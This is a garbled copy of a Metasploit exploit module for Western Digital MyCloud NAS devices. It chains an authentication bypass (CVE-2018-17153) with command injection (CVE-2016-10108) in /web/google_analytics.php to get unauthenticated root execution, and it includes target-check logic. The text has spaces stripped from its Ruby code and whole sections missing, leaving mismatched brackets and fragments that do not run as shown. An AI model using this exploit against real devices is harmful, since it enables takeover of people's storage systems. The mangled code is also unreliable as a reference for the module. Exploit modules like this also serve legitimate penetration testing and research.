# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
classMetasploitModule<Msf::Exploit::Remote
Rank=ExcellentRanking
includeMsf::Exploit::Remote::HttpClient
includeMsf::Exploit::CmdStager
prependMsf::Exploit::Remote::AutoCheck
definitialize(info={})
super(
update_info(
info,
'Name'=>'Western Digital MyCloud unauthenticated command injection',
'Description'=>%q{
This module exploits authentication bypass (CVE-2018-17153) and
command injection (CVE-2016-10108) vulnerabilities in Western
Digital MyCloud before 2.30.196 in order to achieve
unauthenticated remote code execution as the root user.
The module first performs a check to see if the target is
WD MyCloud. If so, it attempts to trigger an authentication
bypass (CVE-2018-17153) via a crafted GET request to
/cgi-bin/network_mgr.cgi. If the server responds as expected,
the module assesses the vulnerability status by attempting to
exploit a commend injection vulnerability (CVE-2016-10108) in
order to print a random string via the echo command. This is
done via a crafted POST request to /web/google_analytics.php.
If the server is vulnerable, the same command injection vector
is leveraged to execute the payload.
This module has been successfully tested against Western Digital
MyCloud version 2.30.183.
Note: based on the available disclosures, it seems that the
command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions
before 2.21.126. The obtained results on 2.30.183 imply that
the patch for CVE-2016-10108 did not actually remove the command
injection vector, but only prevented unauthenticated access to it.
},
'License'=>MSF_LICENSE,
'Author'=>[
'Erik Wynter',# @wyntererik - Metasploit
'Steven Campbell',# CVE-2016-10108 disclosure and PoC
'Remco Vermeulen'# CVE-2018-17153 disclosure and PoC
],
'References'=>[
['CVE','2016-10108'],# command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
['CVE','2018-17153'],# authentication bypass
['URL','https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'],# CVE-2018-17153 disclosure and PoC
['URL','https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/']# CVE-2016-10108 disclosure and PoC
'flag'=>1# this cannot be randomized according to the CVE-2018-17153 details
}
})
returnCheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.')unlessres
returnCheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.")unlessres.code==404
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body